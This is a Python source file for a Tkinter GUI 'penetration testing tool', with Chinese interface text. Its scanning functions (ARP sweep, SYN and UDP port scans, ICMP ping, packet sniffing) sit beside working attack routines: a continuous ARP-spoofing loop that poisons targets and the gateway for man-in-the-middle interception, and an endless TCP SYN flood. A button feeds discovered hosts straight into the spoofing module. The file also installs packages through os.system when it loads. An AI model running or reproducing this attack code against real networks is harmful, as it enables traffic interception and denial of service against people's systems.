import tkinter as tk
from tkinter import ttk
import ttkbootstrap as tbs
from scapy.all import ARP, Ether, srp, sr1, IP, TCP, UDP, ICMP, sendp, sniff, send
import socket
import time
from pyfiglet import Figlet
from io import StringIO
import sys
import psutil
import os

os.system("pip install pyfiglet ttkbootstrap")

class StdoutRedirector:
    def __init__(self, text_widget):
        self.text_widget = text_widget

    def write(self, string):
        self.text_widget.insert(tk.END, string)
        self.text_widget.see(tk.END)

    def flush(self):
        pass

def scan_network(network):
    arp = ARP(pdst=network)
    ether = Ether(dst="ff:ff:ff:ff:ff:ff")
    packet = ether / arp
    result = srp(packet, timeout=3, verbose=0)[0]

    clients = []
    for sent, received in result:
        clients.append({'ip': received.psrc, 'mac': received.hwsrc})
    return clients


def get_gateway():
    try:
        for conn in psutil.net_connections(kind='inet'):
            if conn.raddr:
                gateway = conn.raddr[0]
                return gateway
    except Exception as e:
        print(f"获取网关地址出错: {e}")
    return None


def get_mac(ip):
    arp = ARP(pdst=ip)
    ether = Ether(dst="ff:ff:ff:ff:ff:ff")
    packet = ether / arp
    result = srp(packet, timeout=3, verbose=0)[0]
    if result:
        return result[0][1].hwsrc

def port_scan():
    target = target_entry.get()
    try:
        ports = [int(port) for port in ports_entry.get().split(",")]
        print(f"开始扫描目标: {target}")
        for port in ports:
            try:
                packet = IP(dst=target) / TCP(dport=port, flags="S")
                response = sr1(packet, timeout=1, verbose=0)
                if response:
                    if response.haslayer(TCP) and response.getlayer(TCP).flags == 0x12:
                        print(f"端口 {port} 开放")
                        rst_packet = IP(dst=target) / TCP(dport=port, flags="R")
                        send(rst_packet, verbose=0)
                    elif response.haslayer(TCP) and response.getlayer(TCP).flags == 0x14:
                        print(f"端口 {port} 关闭")
            except Exception as e:
                print(f"扫描端口 {port} 时出错: {e}")
    except ValueError:
        print("输入的端口格式不正确，请重新输入。")


def arp_spoof():
    target_ips_str = target_ip_entry.get()
    target_ips = target_ips_str.split(',')
    gateway_ip = get_gateway()
    if gateway_ip:
        try:
            while True:
                for target_ip in target_ips:
                    target_mac = get_mac(target_ip)
                    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=gateway_ip)
                    send(arp_response, verbose=0)
                    gateway_mac = get_mac(gateway_ip)
                    arp_response = ARP(pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip)
                    send(arp_response, verbose=0)
                time.sleep(2)
        except KeyboardInterrupt:
            print("停止 ARP 欺骗")
        except Exception as e:
            print(f"ARP 欺骗出错: {e}")
    else:
        print("无法获取网关地址，无法进行 ARP 欺骗。")

def packet_sniff():
    filter_rule = filter_entry.get()
    print("开始嗅探数据包...")
    try:
        sniff(filter=filter_rule, prn=process_packet)
    except Exception as e:
        print(f"数据包嗅探出错: {e}")

def process_packet(packet):
    if packet.haslayer(TCP):
        src_ip = packet[IP].src
        dst_ip = packet[IP].dst
        src_port = packet[TCP].sport
        dst_port = packet[TCP].dport
        print(f"源 IP: {src_ip}:{src_port} -> 目标 IP: {dst_ip}:{dst_port}")

def icmp_scan():
    target = target_icmp_entry.get()
    print(f"开始 ICMP 扫描目标: {target}")
    packet = IP(dst=target) / ICMP()
    response = sr1(packet, timeout=1, verbose=0)
    if response:
        print(f"{target} 在线")
    else:
        print(f"{target} 可能离线")

def udp_port_scan():
    target = target_udp_entry.get()
    try:
        ports = [int(port) for port in ports_udp_entry.get().split(",")]
        print(f"开始 UDP 端口扫描目标: {target}")
        for port in ports:
            packet = IP(dst=target) / UDP(dport=port)
            response = sr1(packet, timeout=1, verbose=0)
            if response:
                if response.haslayer(ICMP):
                    print(f"端口 {port} 关闭")
            else:
                print(f"端口 {port} 可能开放")
    except ValueError:
        print("输入的端口格式不正确，请重新输入。")

def tcp_flood():
    target = target_tcp_entry.get()
    try:
        port = int(port_tcp_entry.get())
        print(f"开始 TCP 洪水攻击目标: {target}:{port}")
        try:
            while True:
                packet = IP(dst=target) / TCP(dport=port, flags="S")
                send(packet, verbose=0)
        except KeyboardInterrupt:
            print("停止 TCP 洪水攻击")
    except ValueError:
        print("输入的端口不是有效的整数，请重新输入。")

def get_mac_address():
    ip = ip_mac_entry.get()
    mac = get_mac(ip)
    if mac:
        print(f"IP {ip} 的 MAC 地址是: {mac}")
    else:
        print(f"无法获取 IP {ip} 的 MAC 地址")

def show_scan_result(network):
    clients = scan_network(network)
    for i in tree.get_children():
        tree.delete(i)
    for client in clients:
        tree.insert('', 'end', values=(client['ip'], client['mac']))
    sys.stdout = StdoutRedirector(log_text_network)
    print("扫描结果：")
    for client in clients:
        print(f"IP: {client['ip']}, MAC: {client['mac']}")

def send_to_arp():
    selected_items = tree.selection()
    if selected_items:
        target_ips = []
        for item in selected_items:
            values = tree.item(item, 'values')
            target_ips.append(values[0])
    else:
        target_ips = []
        for item in tree.get_children():
            values = tree.item(item, 'values')
            target_ips.append(values[0])

    show_frame(arp_spoof_frame)
    target_ip_entry.delete(0, tk.END)
    target_ip_entry.insert(0, ','.join(target_ips))
    print(f"将以下 IP 发送到 ARP 欺骗模块：{target_ips}")

def back_to_main():
    stack.pack_forget()
    main_frame.pack(fill=tk.BOTH, expand=True)

root = tbs.Window(themename="darkly")
root.title("渗透测试工具")
root.geometry("1000x900+300+10")

main_frame = tbs.Frame(root)
main_frame.pack(fill=tk.BOTH, expand=True)

f = Figlet(font='slant')
ascii_art = f.renderText('Penetration Tool')
title_label = tbs.Label(main_frame, text=ascii_art, font=("Courier New", 12))
title_label.pack(pady=20)

button_frame = tbs.Frame(main_frame)
button_frame.pack(pady=20)

functions = [
    ("端口扫描", lambda: show_frame(port_scan_frame)),
    ("ARP 欺骗", lambda: show_frame(arp_spoof_frame)),
    ("数据包嗅探", lambda: show_frame(packet_sniff_frame)),
    ("ICMP 扫描", lambda: show_frame(icmp_scan_frame)),
    ("UDP 端口扫描", lambda: show_frame(udp_port_scan_frame)),
    ("发送 TCP 洪水攻击", lambda: show_frame(tcp_flood_frame)),
    ("获取 MAC 地址", lambda: show_frame(get_mac_frame)),
     ("扫描网段", lambda: show_frame(scan_network_frame)),
    ("停止程序", root.destroy)
]

for text, command in functions:
    tbs.Button(button_frame, text=text, command=command, width=20).pack(pady=5)

# 创建功能框架
stack = tbs.Frame(root)

# 端口扫描框架
port_scan_frame = tbs.Frame(stack)
target_label = tbs.Label(port_scan_frame, text="目标 IP 地址:")
target_label.pack(pady=5)
target_entry = tbs.Entry(port_scan_frame)
target_entry.pack(pady=5)
ports_label = tbs.Label(port_scan_frame, text="要扫描的端口 (逗号分隔):")
ports_label.pack(pady=5)
ports_entry = tbs.Entry(port_scan_frame)
ports_entry.pack(pady=5)
scan_button = tbs.Button(port_scan_frame, text="开始扫描", command=port_scan)
scan_button.pack(pady=20)
back_button = tbs.Button(port_scan_frame, text="返回主菜单", command=back_to_main)
back_button.pack(pady=10)

# 日志显示部分
log_frame_port = tbs.Frame(port_scan_frame)
log_frame_port.pack(fill=tk.BOTH, expand=True, padx=10, pady=10)
log_text_port = tk.Text(log_frame_port, wrap=tk.NONE)
log_text_port.pack(side=tk.LEFT, fill=tk.BOTH, expand=True)
scrollbar_y_port = ttk.Scrollbar(log_frame_port, command=log_text_port.yview)
scrollbar_y_port.pack(side=tk.RIGHT, fill=tk.Y)
log_text_port.config(yscrollcommand=scrollbar_y_port.set)
scrollbar_x_port = ttk.Scrollbar(log_frame_port, orient=tk.HORIZONTAL, command=log_text_port.xview)
scrollbar_x_port.pack(side=tk.BOTTOM, fill=tk.X)
log_text_port.config(xscrollcommand=scrollbar_x_port.set)
sys.stdout = StdoutRedirector(log_text_port)

# 创建扫描网段框架
scan_network_frame = tbs.Frame(stack)
network_label = tbs.Label(scan_network_frame, text="请输入网段（例如：192.168.1.0/24）:")
network_label.pack(pady=5)
network_entry = tbs.Entry(scan_network_frame)
network_entry.pack(pady=5)
scan_button = tbs.Button(scan_network_frame, text="开始扫描", command=lambda: show_scan_result(network_entry.get()))
scan_button.pack(pady=20)
back_button_network = tbs.Button(scan_network_frame, text="返回主菜单", command=back_to_main)
back_button_network.pack(pady=10)

# 日志显示部分
log_frame_network = tbs.Frame(scan_network_frame)
log_frame_network.pack(fill=tk.BOTH, expand=True, padx=5, pady=5)
log_text_network = tk.Text(log_frame_network, wrap=tk.NONE, height=8, width=40, font=("Arial", 8))
log_text_network.pack(side=tk.LEFT, fill=tk.BOTH, expand=True)
scrollbar_y_network = ttk.Scrollbar(log_frame_network, command=log_text_network.yview)
scrollbar_y_network.pack(side=tk.RIGHT, fill=tk.Y)
log_text_network.config(yscrollcommand=scrollbar_y_network.set)
scrollbar_x_network = ttk.Scrollbar(log_frame_network, orient=tk.HORIZONTAL, command=log_text_network.xview)
scrollbar_x_network.pack(side=tk.BOTTOM, fill=tk.X)
log_text_network.config(xscrollcommand=scrollbar_x_network.set)

# 表格显示扫描结果
tree = ttk.Treeview(scan_network_frame, columns=('IP', 'MAC'), show='headings')
tree.heading('IP', text='IP 地址')
tree.heading('MAC', text='MAC 地址')
tree.pack(pady=20)

# 发送到 ARP 欺骗按钮
send_to_arp_button = tbs.Button(scan_network_frame, text="发送到 ARP 欺骗", command=lambda: send_to_arp())
send_to_arp_button.pack(pady=10)

# ARP 欺骗框架
arp_spoof_frame = tbs.Frame(stack)
target_ip_label = tbs.Label(arp_spoof_frame, text="目标设备 IP 地址（多个 IP 用逗号分隔）:")
target_ip_label.pack(pady=5)
target_ip_entry = tbs.Entry(arp_spoof_frame)
target_ip_entry.pack(pady=5)
spoof_button = tbs.Button(arp_spoof_frame, text="开始 ARP 欺骗", command=arp_spoof)
spoof_button.pack(pady=20)
back_button_arp = tbs.Button(arp_spoof_frame, text="返回主菜单", command=back_to_main)
back_button_arp.pack(pady=10)

# 日志显示部分
log_frame_arp = tbs.Frame(arp_spoof_frame)
log_frame_arp.pack(fill=tk.BOTH, expand=True, padx=10, pady=10)
log_text_arp = tk.Text(log_frame_arp, wrap=tk.NONE)
log_text_arp.pack(side=tk.LEFT, fill=tk.BOTH, expand=True)
scrollbar_y_arp = ttk.Scrollbar(log_frame_arp, command=log_text_arp.yview)
scrollbar_y_arp.pack(side=tk.RIGHT, fill=tk.Y)
log_text_arp.config(yscrollcommand=scrollbar_y_arp.set)
scrollbar_x_arp = ttk.Scrollbar(log_frame_arp, orient=tk.HORIZONTAL, command=log_text_arp.xview)
scrollbar_x_arp.pack(side=tk.BOTTOM, fill=tk.X)
log_text_arp.config(xscrollcommand=scrollbar_x_arp.set)

# 数据包嗅探框架
packet_sniff_frame = tbs.Frame(stack)
filter_label = tbs.Label(packet_sniff_frame, text="过滤规则:")
filter_label.pack(pady=5)
filter_entry = tbs.Entry(packet_sniff_frame)
filter_entry.pack(pady=5)
sniff_button = tbs.Button(packet_sniff_frame, text="开始嗅探", command=packet_sniff)
sniff_button.pack(pady=20)
back_button_sniff = tbs.Button(packet_sniff_frame, text="返回主菜单", command=back_to_main)
back_button_sniff.pack(pady=10)

# 日志显示部分
log_frame_sniff = tbs.Frame(packet_sniff_frame)
log_frame_sniff.pack(fill=tk.BOTH, expand=True, padx=10, pady=10)
log_text_sniff = tk.Text(log_frame_sniff, wrap=tk.NONE)
log_text_sniff.pack(side=tk.LEFT, fill=tk.BOTH, expand=True)
scrollbar_y_sniff = ttk.Scrollbar(log_frame_sniff, command=log_text_sniff.yview)
scrollbar_y_sniff.pack(side=tk.RIGHT, fill=tk.Y)
log_text_sniff.config(yscrollcommand=scrollbar_y_sniff.set)
scrollbar_x_sniff = ttk.Scrollbar(log_frame_sniff, orient=tk.HORIZONTAL, command=log_text_sniff.xview)
scrollbar_x_sniff.pack(side=tk.BOTTOM, fill=tk.X)
log_text_sniff.config(xscrollcommand=scrollbar_x_sniff.set)

# ICMP 扫描框架
icmp_scan_frame = tbs.Frame(stack)
target_icmp_label = tbs.Label(icmp_scan_frame, text="目标 IP 地址:")
target_icmp_label.pack(pady=5)
target_icmp_entry = tbs.Entry(icmp_scan_frame)
target_icmp_entry.pack(pady=5)
icmp_button = tbs.Button(icmp_scan_frame, text="开始 ICMP 扫描", command=icmp_scan)
icmp_button.pack(pady=20)
back_button_icmp = tbs.Button(icmp_scan_frame, text="返回主菜单", command=back_to_main)
back_button_icmp.pack(pady=10)

# 日志显示部分
log_frame_icmp = tbs.Frame(icmp_scan_frame)
log_frame_icmp.pack(fill=tk.BOTH, expand=True, padx=10, pady=10)
log_text_icmp = tk.Text(log_frame_icmp, wrap=tk.NONE)
log_text_icmp.pack(side=tk.LEFT, fill=tk.BOTH, expand=True)
scrollbar_y_icmp = ttk.Scrollbar(log_frame_icmp, command=log_text_icmp.yview)
scrollbar_y_icmp.pack(side=tk.RIGHT, fill=tk.Y)
log_text_icmp.config(yscrollcommand=scrollbar_y_icmp.set)
scrollbar_x_icmp = ttk.Scrollbar(log_frame_icmp, orient=tk.HORIZONTAL, command=log_text_icmp.xview)
scrollbar_x_icmp.pack(side=tk.BOTTOM, fill=tk.X)
log_text_icmp.config(xscrollcommand=scrollbar_x_icmp.set)

# UDP 端口扫描框架
udp_port_scan_frame = tbs.Frame(stack)
target_udp_label = tbs.Label(udp_port_scan_frame, text="目标 IP 地址:")
target_udp_label.pack(pady=5)
target_udp_entry = tbs.Entry(udp_port_scan_frame)
target_udp_entry.pack(pady=5)
ports_udp_label = tbs.Label(udp_port_scan_frame, text="要扫描的 UDP 端口 (逗号分隔):")
ports_udp_label.pack(pady=5)
ports_udp_entry = tbs.Entry(udp_port_scan_frame)
ports_udp_entry.pack(pady=5)
udp_scan_button = tbs.Button(udp_port_scan_frame, text="开始 UDP 端口扫描", command=udp_port_scan)
udp_scan_button.pack(pady=20)
back_button_udp = tbs.Button(udp_port_scan_frame, text="返回主菜单", command=back_to_main)
back_button_udp.pack(pady=10)

# 日志显示部分
log_frame_udp = tbs.Frame(udp_port_scan_frame)
log_frame_udp.pack(fill=tk.BOTH, expand=True, padx=10, pady=10)
log_text_udp = tk.Text(log_frame_udp, wrap=tk.NONE)
log_text_udp.pack(side=tk.LEFT, fill=tk.BOTH, expand=True)
scrollbar_y_udp = ttk.Scrollbar(log_frame_udp, command=log_text_udp.yview)
scrollbar_y_udp.pack(side=tk.RIGHT, fill=tk.Y)
log_text_udp.config(yscrollcommand=scrollbar_y_udp.set)
scrollbar_x_udp = ttk.Scrollbar(log_frame_udp, orient=tk.HORIZONTAL, command=log_text_udp.xview)
scrollbar_x_udp.pack(side=tk.BOTTOM, fill=tk.X)
log_text_udp.config(xscrollcommand=scrollbar_x_udp.set)

# 发送 TCP 洪水攻击框架
tcp_flood_frame = tbs.Frame(stack)
target_tcp_label = tbs.Label(tcp_flood_frame, text="目标 IP 地址:")
target_tcp_label.pack(pady=5)
target_tcp_entry = tbs.Entry(tcp_flood_frame)
target_tcp_entry.pack(pady=5)
port_tcp_label = tbs.Label(tcp_flood_frame, text="目标端口:")
port_tcp_label.pack(pady=5)
port_tcp_entry = tbs.Entry(tcp_flood_frame)
port_tcp_entry.pack(pady=5)
tcp_flood_button = tbs.Button(tcp_flood_frame, text="开始 TCP 洪水攻击", command=tcp_flood)
tcp_flood_button.pack(pady=20)
back_button_tcp = tbs.Button(tcp_flood_frame, text="返回主菜单", command=back_to_main)
back_button_tcp.pack(pady=10)

# 日志显示部分
log_frame_tcp = tbs.Frame(tcp_flood_frame)
log_frame_tcp.pack(fill=tk.BOTH, expand=True, padx=10, pady=10)
log_text_tcp = tk.Text(log_frame_tcp, wrap=tk.NONE)
log_text_tcp.pack(side=tk.LEFT, fill=tk.BOTH, expand=True)
scrollbar_y_tcp = ttk.Scrollbar(log_frame_tcp, command=log_text_tcp.yview)
scrollbar_y_tcp.pack(side=tk.RIGHT, fill=tk.Y)
log_text_tcp.config(yscrollcommand=scrollbar_y_tcp.set)
scrollbar_x_tcp = ttk.Scrollbar(log_frame_tcp, orient=tk.HORIZONTAL, command=log_text_tcp.xview)
scrollbar_x_tcp.pack(side=tk.BOTTOM, fill=tk.X)
log_text_tcp.config(xscrollcommand=scrollbar_x_tcp.set)

# 获取 MAC 地址框架
get_mac_frame = tbs.Frame(stack)
ip_mac_label = tbs.Label(get_mac_frame, text="要查询的 IP 地址:")
ip_mac_label.pack(pady=5)
ip_mac_entry = tbs.Entry(get_mac_frame)
ip_mac_entry.pack(pady=5)
get_mac_button = tbs.Button(get_mac_frame, text="获取 MAC 地址", command=get_mac_address)
get_mac_button.pack(pady=20)
back_button_mac = tbs.Button(get_mac_frame, text="返回主菜单", command=back_to_main)
back_button_mac.pack(pady=10)

# 日志显示部分
log_frame_mac = tbs.Frame(get_mac_frame)
log_frame_mac.pack(fill=tk.BOTH, expand=True, padx=10, pady=10)
log_text_mac = tk.Text(log_frame_mac, wrap=tk.NONE)
log_text_mac.pack(side=tk.LEFT, fill=tk.BOTH, expand=True)
scrollbar_y_mac = ttk.Scrollbar(log_frame_mac, command=log_text_mac.yview)
scrollbar_y_mac.pack(side=tk.RIGHT, fill=tk.Y)
log_text_mac.config(yscrollcommand=scrollbar_y_mac.set)
scrollbar_x_mac = ttk.Scrollbar(log_frame_mac, orient=tk.HORIZONTAL, command=log_text_mac.xview)
scrollbar_x_mac.pack(side=tk.BOTTOM, fill=tk.X)
log_text_mac.config(xscrollcommand=scrollbar_x_mac.set)


# 显示指定框架
def show_frame(frame):
    main_frame.pack_forget()
    stack.pack(fill=tk.BOTH, expand=True)
    for child in stack.winfo_children():
        child.pack_forget()
    frame.pack(fill=tk.BOTH, expand=True)
    if frame == port_scan_frame:
        sys.stdout = StdoutRedirector(log_text_port)
    elif frame == arp_spoof_frame:
        sys.stdout = StdoutRedirector(log_text_arp)
    elif frame == packet_sniff_frame:
        sys.stdout = StdoutRedirector(log_text_sniff)
    elif frame == icmp_scan_frame:
        sys.stdout = StdoutRedirector(log_text_icmp)
    elif frame == udp_port_scan_frame:
        sys.stdout = StdoutRedirector(log_text_udp)
    elif frame == tcp_flood_frame:
        sys.stdout = StdoutRedirector(log_text_tcp)
    elif frame == get_mac_frame:
        sys.stdout = StdoutRedirector(log_text_mac)


# 运行主循环
root.mainloop()
